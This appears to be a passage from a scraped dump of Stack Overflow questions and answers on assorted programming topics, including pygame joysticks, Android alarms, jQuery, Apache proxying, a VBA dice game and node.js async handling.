anyone tell me what I'm doing wrong? Thanks a lot.</p>
30604353	0	 <p>Sometimes this problem happens when you <strong>don´t make any calls to some of Pygames <em>event queue functions</em> in each frame</strong> of your game, as the <a href="http://www.pygame.org/docs" rel="nofollow">Documentation</a> states.</p> <p><strong>If you are not using any other event functions</strong> in your main game, you <em>should</em> <strong>call <a href="http://www.pygame.org/docs/ref/event.html#pygame.event.pump" rel="nofollow"><code>pygame.event.pump()</code></a> to allow Pygame to handle internal actions</strong>, such as joystick information.</p> <p>Try the following updated code:</p> <pre><code>while True: pygame.event.pump() #allow Pygame to handle internal actions joystick_count = pygame.joystick.get_count() for i in range(joystick_count): joystick = pygame.joystick.Joystick(i) joystick.init() name = joystick.get_name() axes = joystick.get_numaxes() hats = joystick.get_numhats() button = joystick.get_numbuttons() joy = joystick.get_axis(0) print(name, joy) </code></pre> <p><strong>An alternative</strong> would be to <strong>wait for events generated by your joystick</strong> (such as <code>JOYAXISMOTION</code>) by using the <code>pygame.event.get()</code> function for instance:</p> <pre><code>while True: #get events from the queue for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() if event.type == pygame.JOYAXISMOTION and event.axis == 0: print(event.value) joystick_count = pygame.joystick.get_count() for i in range(joystick_count): joystick = pygame.joystick.Joystick(i) joystick.init() #event queue will receive events from your Joystick </code></pre> <p>Hope this helps a little bit :)</p>
35613011	0	The code below automatically fires notification on onCreate of MainActivity. I want to fire it only at set time which is at 17:10:00 <p><strong>This is MainActivity.class</strong></p> <pre><code>import android.app.Activity; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.view.View; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; public class MainActivity extends Activity { private TextView textView1,textView2, textView3, textView4; Intent intent1,intent2; private PendingIntent pendingIntent; ImageView imageView; boolean doubleBackToExitPressedOnce = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String valid_until = "26/02/2016"; SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy"); Date strdate = null; try{ strdate = sdf.parse(valid_until); } catch (ParseException e){ e.printStackTrace(); } if(new Date().after(strdate)){ MainActivity.this.finish(); Toast.makeText(MainActivity.this,"Time expired",Toast.LENGTH_LONG).show(); } //program for alarm manager Intent alarmIntent = new Intent(MainActivity.this,AlarmReciever.class); pendingIntent = PendingIntent.getBroadcast(MainActivity.this,0,alarmIntent,0); alarmStart(); } public void alarmStart(){ AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Calendar calendar = Calendar.getInstance(); calendar.setTimeInMillis(System.currentTimeMillis()); calendar.set(calendar.HOUR_OF_DAY, 17); calendar.set(calendar.MINUTE,10 ); calendar.set(calendar.SECOND, 00); // pendingIntent = PendingIntent.getService(context,0,new Intent(context, AlarmReciever.class),PendingIntent.FLAG_UPDATE_CURRENT); alarmManager.setInexactRepeating(AlarmManager.RTC_WAKEUP, calendar.getTimeInMillis(), AlarmManager.INTERVAL_DAY, pendingIntent); } @Override public void onBackPressed() { if (doubleBackToExitPressedOnce) { super.onBackPressed(); MainActivity.this.finish(); return; } this.doubleBackToExitPressedOnce = true; Toast.makeText(this, "Please click BACK again to exit", Toast.LENGTH_SHORT).show(); new Handler().postDelayed(new Runnable() { @Override public void run() { doubleBackToExitPressedOnce = false; } }, 2000); } } </code></pre> <p><strong>This is the AlarmReciever.class</strong></p> <pre><code>import android.app.NotificationManager; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.support.v4.app.NotificationCompat; import android.widget.Toast; import java.util.Date; public class AlarmReciever extends BroadcastReceiver { private DBManager dbManager; NotificationCompat.Builder notification; private static final int UNIQUEID=1; int i=0; public AlarmReciever() { } @Override public void onReceive(Context context, Intent intent) { // TODO: This method is called when the BroadcastReceiver is receiving // an Intent broadcast. Toast.makeText(context, "Alarm worked", Toast.LENGTH_LONG).show(); notification = new NotificationCompat.Builder(context); i++; notification.setAutoCancel(true); notification.setSmallIcon(R.drawable.notifylogo); notification.setTicker("Payment Status"); notification.setWhen(System.currentTimeMillis()); notification.setContentTitle("Zion Fitness Club"); notification.setContentText(i + " notifications recieved"); Intent intent1 = new Intent(context,Payment_list.class); PendingIntent pendingIntent = PendingIntent.getActivity(context,0, intent1, PendingIntent.FLAG_UPDATE_CURRENT); notification.setContentIntent(pendingIntent); NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); notificationManager.notify(UNIQUEID,notification.build()); } </code></pre> <p>The notification has to be fired only at the set time. But the problem is that it is also being fired at onCreate of the MainActivity.class.... Please help to solve this problem. </p>
26409494	0	 <p>I did something similar recently.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.progressbar { margin-top: 40px; margin-bottom: 30px; overflow: hidden; counter-reset: step; } .progressbar li { list-style-type: none; color: #555555; text-transform: uppercase; text-align: center; font-size: 9px; width: 20%; float: left; position: relative; } .progressbar li:before { content: counter(step); counter-increment: step; width: 20px; line-height: 20px; display: block; font-size: 10px; color: #333; background: #bfbfbf; border-radius: 20px; margin: 0 auto 5px auto; } .progressbar li:after { content: ''; width: 100%; height: 2px; background: #bfbfbf; position: absolute; left: -50%; top: 9px; margin-left: 5px; z-index: -1; } .progressbar li:first-child:after { content: none; } .progressbar li.stepped { color: #900028; font-weight: bold; } .progressbar li.stepped:before, .progressbar li.stepped:after{ background: #900028; color: white; } </code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;ul class="progressbar"&gt; &lt;li class="stepped"&gt;Step 1&lt;/li&gt; &lt;li class="stepped"&gt;Step 2&lt;/li&gt; &lt;li class="stepped"&gt;Step 3&lt;/li&gt; &lt;li&gt;Step 4&lt;/li&gt; &lt;li&gt;Step 5&lt;/li&gt; &lt;/ul&gt;</code></pre> </div> </div> </p> <p>(credit: <a href="http://thecodeplayer.com/walkthrough/jquery-multi-step-form-with-progress-bar" rel="nofollow">http://thecodeplayer.com/walkthrough/jquery-multi-step-form-with-progress-bar</a>)</p>
24066737	0	 <p>In javascript your redirect using <code>window.location.href</code>:</p> <pre><code>$('#start_session').click(function() { $('#message').load('start_session.php', function() { window.location.href = 'page2.php'; }); }); </code></pre> <p>And you should redirect when you have processed your php so I put it in the callback function.</p> <p>Note that you will not see the results that your php outputs because of the redirect so you should probably include that output in the next page.</p>
36658591	0	Is there a way to display webdriver instance on iframe site <p>I'm stuck on how can I open the instance of webdriver on my html page using java.</p> <pre><code>WebDriver driver = new ChromeDriver(); // Open the Application </code></pre> <p>the code below open the instance of driver chrome.</p>
36631453	0	Eclipse Mars - one specific file will not open in compare editor? <p>All of the sudden last week, a single javascript file will no longer open in the compare editor.</p> <ul> <li>I am running the latest Mars Eclipse</li> <li>I am running the latest Subclipse</li> <li>I sync with the repo, and see the changed file</li> <li>When I double click or choose to compare, I either see a blank white page with "Initializing..." or a blank gray page</li> <li>it is ONLY with one specific text .js file ... all other files in the project, and other projects diff just fine.</li> <li>the file is 37,880 bytes</li> <li>I have deleted the subversion settings files, and they were recreated</li> <li>I have checked the preferences and ignore whitespace</li> </ul> <p>It is only this ONE file ... and it is a main file of a node.js project. It used to diff just fine, and all of the sudden last week this one file will no longer diff and throws this exception.</p> <p>When I look in the log, I see the following exception:</p> <blockquote> <p>!ENTRY org.eclipse.ui 4 0 2016-04-14 12:38:08.535 !MESSAGE Unhandled event loop exception !STACK 0 org.eclipse.swt.SWTException: Failed to execute runnable (java.lang.IllegalArgumentException) at org.eclipse.swt.SWT.error(SWT.java:4491) at org.eclipse.swt.SWT.error(SWT.java:4406) at org.eclipse.swt.widgets.Synchronizer.runAsyncMessages(Synchronizer.java:138) at org.eclipse.swt.widgets.Display.runAsyncMessages(Display.java:4155) at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3772) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine$4.run(PartRenderingEngine.java:1127) at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:337) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.run(PartRenderingEngine.java:1018) at org.eclipse.e4.ui.internal.workbench.E4Workbench.createAndRunUI(E4Workbench.java:156) at org.eclipse.ui.internal.Workbench$5.run(Workbench.java:694) at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:337) at org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:606) at org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:150) at org.eclipse.ui.internal.ide.application.IDEApplication.start(IDEApplication.java:139) at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:196) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:134) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:104) at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:380) at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:235) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:669) at org.eclipse.equinox.launcher.Main.basicRun(Main.java:608) at org.eclipse.equinox.launcher.Main.run(Main.java:1515)</p> <p>Caused by: java.lang.IllegalArgumentException at org.eclipse.wst.jsdt.core.dom.ASTNode.setSourceRange(ASTNode.java:2490) at org.eclipse.wst.jsdt.core.dom.ASTConverter.convertToVariableDeclarationStatement(ASTConverter.java:2696) at org.eclipse.wst.jsdt.core.dom.ASTConverter.checkAndAddMultipleLocalDeclaration(ASTConverter.java:319) at org.eclipse.wst.jsdt.core.dom.ASTConverter.convert(ASTConverter.java:436) at org.eclipse.wst.jsdt.core.dom.ASTConverter.convert(ASTConverter.java:1175) at org.eclipse.wst.jsdt.core.dom.JavaScriptUnitResolver.convert(JavaScriptUnitResolver.java:262) at org.eclipse.wst.jsdt.core.dom.ASTParser.internalCreateAST(ASTParser.java:887) at org.eclipse.wst.jsdt.core.dom.ASTParser.createAST(ASTParser.java:647) at org.eclipse.wst.jsdt.internal.ui.compare.JavaStructureCreator.createStructureComparator(JavaStructureCreator.java:284) at org.eclipse.wst.jsdt.internal.ui.compare.JavaStructureCreator.createStructureComparator(JavaStructureCreator.java:243) at org.eclipse.compare.structuremergeviewer.StructureCreator.internalCreateStructure(StructureCreator.java:121) at org.eclipse.compare.structuremergeviewer.StructureCreator.access$0(StructureCreator.java:109) at org.eclipse.compare.structuremergeviewer.StructureCreator$1.run(StructureCreator.java:96) at org.eclipse.swt.custom.BusyIndicator.showWhile(BusyIndicator.java:70) at org.eclipse.compare.internal.Utilities.runInUIThread(Utilities.java:859) at org.eclipse.compare.structuremergeviewer.StructureCreator.createStructure(StructureCreator.java:102) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer$StructureInfo.createStructure(StructureDiffViewer.java:155) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer$StructureInfo.refresh(StructureDiffViewer.java:133) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer$StructureInfo.setInput(StructureDiffViewer.java:104) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer.compareInputChanged(StructureDiffViewer.java:342) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer$2.run(StructureDiffViewer.java:74) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer$6.run(StructureDiffViewer.java:322) at org.eclipse.swt.custom.BusyIndicator.showWhile(BusyIndicator.java:70) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer.compareInputChanged(StructureDiffViewer.java:319) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer.compareInputChanged(StructureDiffViewer.java:307) at org.eclipse.wst.jsdt.internal.ui.compare.JavaStructureDiffViewer.compareInputChanged(JavaStructureDiffViewer.java:143) at org.eclipse.compare.structuremergeviewer.StructureDiffViewer.inputChanged(StructureDiffViewer.java:278) at org.eclipse.jface.viewers.ContentViewer.setInput(ContentViewer.java:292) at org.eclipse.jface.viewers.StructuredViewer.setInput(StructuredViewer.java:1701) at org.eclipse.compare.CompareViewerSwitchingPane.setInput(CompareViewerSwitchingPane.java:277) at org.eclipse.compare.internal.CompareStructureViewerSwitchingPane.setInput(CompareStructureViewerSwitchingPane.java:132) at org.eclipse.compare.CompareEditorInput.feedInput(CompareEditorInput.java:747) at org.eclipse.compare.CompareEditorInput.createContents(CompareEditorInput.java:555) at org.eclipse.compare.internal.CompareEditor.createCompareControl(CompareEditor.java:462) at org.eclipse.compare.internal.CompareEditor.access$6(CompareEditor.java:422) at org.eclipse.compare.internal.CompareEditor$3.run(CompareEditor.java:378) at org.eclipse.ui.internal.UILockListener.doPendingWork(UILockListener.java:162) at org.eclipse.ui.internal.UISynchronizer$3.run(UISynchronizer.java:154) at org.eclipse.swt.widgets.RunnableLock.run(RunnableLock.java:35) at org.eclipse.swt.widgets.Synchronizer.runAsyncMessages(Synchronizer.java:135) ... 23 more</p> </blockquote>
35066552	0	 <p>You don't really need the absolute url. Correct relative url is fine.</p> <p>You should use the <code>Url.Action</code> helper method to generate the correct relative path to your action method. This will generated the proper path irrespective of your current page/view.</p> <pre><code>url: "@Url.Action("ActionMethodName","YourControllerName")" </code></pre> <p><code>Url.Action</code> helper method will work if your javascript code is inside a razor view. But if your code is inside an external js file, you should build the relative url to your app root using <code>Url.Content("~")</code> helper method and pass that to your js code via a variable as explained in <a href="http://stackoverflow.com/questions/34360537/how-do-i-make-js-know-about-the-application-root/34361168#34361168">this post</a> . Try to use javascript namespacing when doing so to prevent possible conflict/overwriting from other global variables with same name.</p> <p><strong>EDIT :</strong> <em>Including Marko's comment as an alternate solution. Thank you :)</em></p> <p>If it is an anchor tag, you can simply use the <code>href</code> attribute value of the clicked link.</p> <pre><code>&lt;a href="@Url.Action("Delete","Product")" class="ajaxLink"&gt;Delete&lt;/a&gt; </code></pre> <p>and in your js code</p> <pre><code>$("a.ajaxLink").click(function(e){ e.preventDefault(); var url = $(this).attr("href"); //use url variable value for the ajax call now. }); </code></pre> <p>If it is any other type of html element, you can use html5 data attribute to keep the target url and use the jQuery data method to retrieve it in your js code.</p> <pre><code>&lt;div data-url="@Url.Action("Delete","Product")" class="ajaxLink"&gt;Delete&lt;/div&gt; </code></pre> <p>and in your js code</p> <pre><code>$(".ajaxLink").click(function(e){ e.preventDefault(); // to be safe var url = $(this).data("url"); //use url variable value for the ajax call now. }); </code></pre>
1367070	0	Difference between Delegate.Invoke and Delegate() <pre><code>delegate void DelegateTest(); DelegateTest delTest; </code></pre> <p>Whats the difference between calling <code>delTest.Invoke()</code> and <code>delTest()</code>? Both would execute the delegate on the current thread, right?</p>
28800060	0	 <p>if i got you right...</p> <p>JQuery:</p> <pre><code>$(document).ready(function(){ var ParentWidth = $('.parent').width(); if (ParentWidth &gt; 400) { $('.parent').addClass('newstyle'); } }); </code></pre> <p>CSS:</p> <pre><code>.newstyle { background: red; /*** add more css ***/ } </code></pre> <p>i Recommends you to use class because you can add more css to the class later.</p>
33896449	0	 <p>Governance is a way to limit script execution to avoid the overcomsuption of resources server side, as metioned in the documentation:</p> <p><a href="https://netsuite.custhelp.com/app/answers/detail/a_id/10492" rel="nofollow">SuiteScript</a> </p> <p><a href="https://netsuite.custhelp.com/app/answers/detail/a_id/10365" rel="nofollow">API Governance</a></p> <p>Perhaps the behavior your are experiencing is not the intended. But actually it is not a feature that is considered for the web browser.</p>
39388179	0	 <p>Google allow you to create a custom GVRView which doesn't have the (i) icon - but it involves creating your own OpenGL code for viewing the video.</p> <p>A hack working on v0.9.0 is to find an instance of QTMButton:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>let videoView = GVRVideoView(frame: self.view.bounds) for subview in self.videoView.subviews { let className = String(subview.dynamicType) if className == "QTMButton" { subview.hidden = true } }</code></pre> </div> </div> </p> <p>It is a hack though so it might have unintended consequences and might not work in past or future versions.</p>
29020353	0	 <p>We this for over at <a href="http://github.com/tryghost/ghost">Ghost</a>. Use ember-cli to generate an in-repo-addon for yourself, and then use your favorite library for copying the file (I already had fs-extra and am using it)</p> <p>Create your addon with <code>ember g in-repo-addon &lt;addon-name&gt;</code></p> <p>in <code>/lib/&lt;addon-name&gt;/index.js</code>:</p> <pre><code>module.exports = { name: '&lt;addon-name&gt;', postBuild: function (results) { var fs = this.project.require('fs-extra'); fs.copySync(results.directory + '/index.html', '../server/views/default.hbs'); } }; </code></pre> <p><a href="https://github.com/TryGhost/Ghost/blob/master/core/client/lib/asset-delivery/index.js">Example from Ghost</a></p> <p>Ember-cli docs: <a href="http://www.ember-cli.com/#developing-addons-and-blueprints">developing addons</a> and <a href="http://www.ember-cli.com/#detailed-list-of-blueprints-and-their-use">scaffolding in-repo addons</a></p>
12875641	0	 <p>This should work:</p> <pre><code>function removeDups() { var container = document.getElementById("success"); var a = container.getElementsByTagName("a"); var hrefs = {}; for (var i = 0; i &lt; a.length; i++) { if (a[i].href in hrefs) { a[i].parentNode.removeChild(a[i]); } else { hrefs[a[i].href] = 1; } } } </code></pre> <p><a href="http://jsfiddle.net/fDPsH/" rel="nofollow">http://jsfiddle.net/fDPsH/</a></p>
20959928	0	 <p>You did not define the label <code>playerRollingForHit</code>... at least not in the code you are showing. This is a problem.</p> <p>As was pointed out by others, not having an idea of code structure is a much bigger problem. A <code>GoTo</code> statement, while legal should be used sparingly. And you should consider making your code more re-usable. For example, you can create your own data type:</p> <pre><code>Public Type player health As Integer strength As Integer ' whatever other properties you might have... End Type </code></pre> <p>And then you can create an array of players:</p> <pre><code>Dim players( 1 To 2 ) as player </code></pre> <p>This means you will be able to loop over the players, and "player 1 attacks player 2" can use the same code as "player 2 attacks player 1" (if they have the same rules). Similarly, you might want to create your own function "rollBetween" which allows you to roll different dice with a simple instruction.</p> <pre><code>Function rollBetween(n1 As Integer, n2 As Integer) ' roll a number between n1 and n2, inclusive rollBetween = Round(Rnd * (n2 - n1 + 1) - 0.5, 0) + n1 End Function </code></pre> <p>Putting it all together, for fun, I created some code that may help you understand what I'm talking about. Note - the rules here are not the same rules you used, but it's the same principle; as players get more strength, they become more immune to attack, and their attacks become stronger. I hope you can learn something from it, and have fun creating your game!</p> <pre><code>Option Explicit Public Type player health As Integer strength As Integer End Type Sub monsters() ' main program loop ' can have more than two players: just change dimension of array ' and rules of "who attacks whom" Dim players(1 To 2) As player Dim attacker As Integer Dim defender As Integer initPlayers players attacker = rollBetween(1, 2) ' who goes first: player 1 or 2 Debug.Print "Player " &amp; attacker &amp; " gets the first roll" While stillAlive(players) defender = (attacker Mod 2) + 1 playTurn players, attacker, defender attacker = defender ' person who was attacked becomes the attacker Wend MsgBox winner(players()) End Sub '------------------------------ ' functions that support the main program loop 'monsters': Function rollBetween(n1 As Integer, n2 As Integer) ' roll a number between n1 and n2, inclusive rollBetween = Round(Rnd * (n2 - n1 + 1) - 0.5, 0) + n1 End Function Sub initPlayers(ByRef p() As player) ' initialize the strength of the players etc Dim ii For ii = LBound(p) To UBound(p) p(ii).health = 10 p(ii).strength = 1 Next End Sub Function stillAlive(p() As player) As Boolean ' see whether players are still alive ' returns false if at least one player's health is less than 0 Dim ii For ii = LBound(p) To UBound(p) If p(ii).health &lt;= 0 Then stillAlive = False Exit Function End If Next ii stillAlive = True End Function Sub playTurn(ByRef p() As player, n As Integer, m As Integer) ' attack of player(n) on player(m) Dim roll As Integer ' see if you can attack, or just heal: roll = rollBetween(1, 2) Debug.Print "player " &amp; n &amp; " rolled a " &amp; roll If roll = 1 Then ' roll for damage roll = rollBetween(1, 4 + p(n).strength) ' as he gets stronger, attacks become more damaging Debug.Print "player " &amp; n &amp; " rolled a " &amp; roll &amp; " for attack" If p(m).strength &gt; roll Then p(n).strength = p(n).strength - 1 ' attacker gets weaker because attack failed p(m).strength = p(m).strength + 2 ' defender gets stronger Else p(n).strength = p(n).strength + 1 ' attacker gains strength p(m).health = p(m).health - roll ' defender loses health End If Else ' roll for healing roll = rollBetween(1, 3) Debug.Print "player " &amp; n &amp; " rolled a " &amp; roll &amp; " for health" p(n).health = p(n).health + roll End If Debug.Print "statistics now: " &amp; p(1).health &amp; "," &amp; p(1).strength &amp; ";" &amp; p(2).health &amp; "," &amp; p(2).strength End Sub Function winner(p() As player) Dim ii, h, w ' track player with higher health: h = 0 w = 0 For ii = LBound(p) To UBound(p) If p(ii).health &gt; h Then w = ii h = p(ii).health End If Next ii winner = "Player " &amp; w &amp; " is the winner!" End Function </code></pre> <p>Output of a typical game might be:</p> <pre><code>Player 2 gets the first roll player 2 rolled a 2 player 2 rolled a 2 for health statistics now: 10,1;12,1 player 1 rolled a 1 player 1 rolled a 2 for attack statistics now: 10,2;10,1 player 2 rolled a 2 player 2 rolled a 1 for health statistics now: 10,2;11,1 player 1 rolled a 2 player 1 rolled a 3 for health statistics now: 13,2;11,1 player 2 rolled a 2 player 2 rolled a 1 for health statistics now: 13,2;12,1 player 1 rolled a 1 player 1 rolled a 6 for attack statistics now: 13,3;6,1 player 2 rolled a 2 player 2 rolled a 2 for health statistics now: 13,3;8,1 player 1 rolled a 2 player 1 rolled a 3 for health statistics now: 16,3;8,1 player 2 rolled a 1 player 2 rolled a 5 for attack statistics now: 11,3;8,2 player 1 rolled a 1 player 1 rolled a 4 for attack statistics now: 11,4;4,2 player 2 rolled a 2 player 2 rolled a 1 for health statistics now: 11,4;5,2 player 1 rolled a 2 player 1 rolled a 2 for health statistics now: 13,4;5,2 player 2 rolled a 1 player 2 rolled a 4 for attack statistics now: 9,4;5,3 player 1 rolled a 2 player 1 rolled a 1 for health statistics now: 10,4;5,3 player 2 rolled a 1 player 2 rolled a 6 for attack statistics now: 4,4;5,4 player 1 rolled a 2 player 1 rolled a 2 for health statistics now: 6,4;5,4 player 2 rolled a 2 player 2 rolled a 3 for health statistics now: 6,4;8,4 player 1 rolled a 1 player 1 rolled a 6 for attack statistics now: 6,5;2,4 player 2 rolled a 2 player 2 rolled a 1 for health statistics now: 6,5;3,4 player 1 rolled a 2 player 1 rolled a 1 for health statistics now: 7,5;3,4 player 2 rolled a 2 player 2 rolled a 3 for health statistics now: 7,5;6,4 player 1 rolled a 1 player 1 rolled a 6 for attack statistics now: 7,6;0,4 </code></pre> <p>Final output - message box that declares player 1 the winner.</p>
4701510	0	android: listActivity under Tab <p>Sorry if this is a repeat, none of the solutions I found online worked for me.</p> <p>I have 2 tabs, and I'm trying to add a list unto one of the tabs. Here's the code:</p> <pre><code>public class Library extends ListActivity { ParsingDBHelper mDbHelper; ListView lv; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Bundle extra = getIntent().getExtras(); String temp = extra.getString(Httpdwld.RESULT); mDbHelper = new ParsingDBHelper(this); mDbHelper.open(); parsing(); fillData(); } private void parsing() { // IMPLEMENT } private void fillData() { Cursor c = mDbHelper.fetchAllSearch(); String[] FROM = new String[] {ParsingDBHelper.KEY_TITLE, ParsingDBHelper.KEY_AUTHOR, ParsingDBHelper.KEY_YEAR, ParsingDBHelper.KEY_LOCATION, ParsingDBHelper.KEY_CALL_ISBN, ParsingDBHelper.KEY_AVAILABILITY}; int[] TO = new int[] {R.id.row_title, R.id.row_author, R.id.row_year, R.id.row_location, R.id.row_id, R.id.row_avail}; SimpleCursorAdapter notes = new SimpleCursorAdapter(this, R.layout.row_layout, c, FROM, TO); lv.setAdapter(notes); } } </code></pre> <p>mDbHelper is simply a a helper for using SQLiteDatabase.</p> <p>Here's my XML code for the Tabs</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;TabHost xmlns:android="http://schemas.android.com/apk/res/android" android:id="@android:id/tabhost" android:layout_width="fill_parent" android:layout_height="fill_parent"&gt; &lt;LinearLayout android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:padding="5dp"&gt; &lt;TabWidget android:id="@android:id/tabs" android:layout_width="fill_parent" android:layout_height="wrap_content" /&gt; &lt;FrameLayout android:id="@android:id/tabcontent" android:layout_width="fill_parent" android:layout_height="wrap_content" android:padding="5dp" &gt; &lt;/FrameLayout&gt; &lt;ListView android:id="@android:id/list" android:layout_width="fill_parent" android:layout_height="wrap_content" /&gt; &lt;/LinearLayout&gt;&gt; &lt;/TabHost&gt; </code></pre> <p>But I keep getting "Cannot start Activity: Library" error. Here's where I call Library</p> <pre><code>public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.search_result); TabHost tabHost = getTabHost(); TabHost.TabSpec spec; Intent intent; intent = new Intent(this, Library.class); // Initialize a TabSpec for each tab and add it to the TabHost spec = tabHost.newTabSpec("Library").setIndicator("Library") .setContent(intent); tabHost.addTab(spec); </code></pre> <p>}</p> <p>Any suggestions?</p>
14556463	0	 <p>If you want to delete any commit then you might need to use git rebase command</p> <p>git rebase -i HEAD~2</p> <p>it will show you last 2 commit messages, if you delete the commit message and save that file deleted commit will automatically disappear...</p>
27060810	0	Apache proxypass and multilingual domains <p>I have a website on domain.com which has multilingual content in URLs e.g.:</p> <ul> <li>domain.com/en for english</li> <li>domain.com/de for german</li> <li>domain.com/it for italian</li> </ul> <p>etc. These are not really directories - these are just rewrites that rewrite to /index.php?lang=... So domain.com/lang/one/two/three is rewritten to /index.php?lang=$1&amp;path=$2</p> <p>It also has domain.com/assets directory that holds all the common files (css, images etc.)</p> <p>Now I want to change that every language has its own domain which I think could be managed by using mod_proxy, mod_proxy_http and mod_proxy_html in Apache. What I want to achieve is that if user visits:</p> <ul> <li>www.domain.com he gets content from domain.com/en</li> <li>www.domain.de he gets content from domain.com/de</li> <li>www.domain.it he gets content from domain.com/it</li> </ul> <p>And if he visits /assets directory from any domain (.com, .de, .it) he would get content from domain.com/assets. Also if user visits URL e.g. www.domain.de/something he should receive content from www.domain.com/de/something</p> <p>And the other thing are URLs which would have to be rewritten before output so for instance user that browses domain.de would never go to domain.com at all...</p> <p>Is this possible? Otherwise we would have to reprogram whole CMS to work with different domain for every language...</p>
4312981	0	 <p>The <a href="https://developer.mozilla.org/en/Gecko_DOM_Reference" rel="nofollow">Gecko DOM Reference</a> is pretty complete.</p> <p>For the dark side (IE-specific stuff), there's also Microsoft's <a href="http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx" rel="nofollow">HTML and DHTML Reference</a></p> <p>And for cross-browser advice, consult <a href="http://www.quirksmode.org/" rel="nofollow">QuirksMode</a> (thanks Raynos)</p>
1279656	0	Cocoa/Objective-C: how much optimization should I do myself? <p>I recently found myself writing a piece of code that executed a Core Data fetch, then allocated two mutable arrays with the initial capacity being equal to the number of results returned from the fetch:</p> <pre><code>// Have some existing context, request, and error objects NSArray *results = [context executeFetchRequest:request error:&error]; NSMutableArray *firstArray = [[[NSMutableArray alloc] initWithCapacity:[results count]] autorelease]; NSMutableArray *secondArray = [[[NSMutableArray alloc] initWithCapacity:[results count]] autorelease];</code></pre> <p>I looked this over again once I'd written it, and something struck me as odd: I was calling <code>[results count]</code> twice. The resultset is potentially pretty large (hundreds, maybe a thousand, objects).</p> <p>My first instict was to break out <code>[results count]</code> into a separate NSUInteger, then use that integer for the capacity of each of the arrays. My question: is this kind of by-hand optimization necessary? Will the compiler recognize it's running <code>[results count]</code> twice and just hold the value without me having to explicitly specify that behavior? Or will it run the method twice - a potentially costly operation?</p> <p>In a similar vein, what other optimizations should programmers (especially iPhone programmers, where there's a limited amount of memory/processing power available) do by hand, as opposed to trusting the compiler?</p>
35760975	0	 <p>The best way to coordinate multiple asynchronous operation is to use promises. So, if this were my code, I would change or wrap <code>saveImageToLocalTo()</code> and <code>Posts.insert()</code> to return promises and then use promise features for coordinating them. If you're going to be writing much node.js code, I'd suggest you immediately invest in learning how promises work and start using them for all async behavior.</p> <p>To solve your issue without promises, you'd have to implement a counter and keep track of when all the async operations are done:</p> <pre><code>var savedPath = []; var doneCnt = 0; for(i=0;i&lt;n;i++) { savesaveImageToLocalTo(files[i], function(path) { ++doneCnt; savedPath.push(path); // if all the requests have finished now, then do the next steps if (doneCnt === n) { var post = req.body; post.images = savedPath; Posts.insert(postfunction(err, result) { res.send(err, result) }); } }); } </code></pre> <p>This code looks like it missing error handling since most async operations have a possibility of errors and can return an error code.</p>
13639858	0	 <p>You could use something like this</p> <pre><code>$(function() { ​$('label').each(function() { var radio = $(this).prop('for')​​​​​​​​; $(this).prop('title',$('#' + radio).prop('title')); }); }); </code></pre> <p>​ All that it relies on is jQuery and the for attribute for each label is correct.</p>
17153661	0	 <p>To exit the function stack without exiting shell one can use the command:</p> <pre><code>kill -INT $$ </code></pre> <p>As <a href="http://stackoverflow.com/users/1276280/pizza">pizza</a> stated, this is like pressing Ctrl-C, which will stop the current script from running and drop you down to the command prompt.</p> <p>&nbsp;</p> <p>&nbsp;</p> <hr> <p>Note: the only reason I didn't select <a href="http://stackoverflow.com/users/1276280/pizza">pizza</a>'s answer is because this was buried in his/her answer and not answered directly.</p>
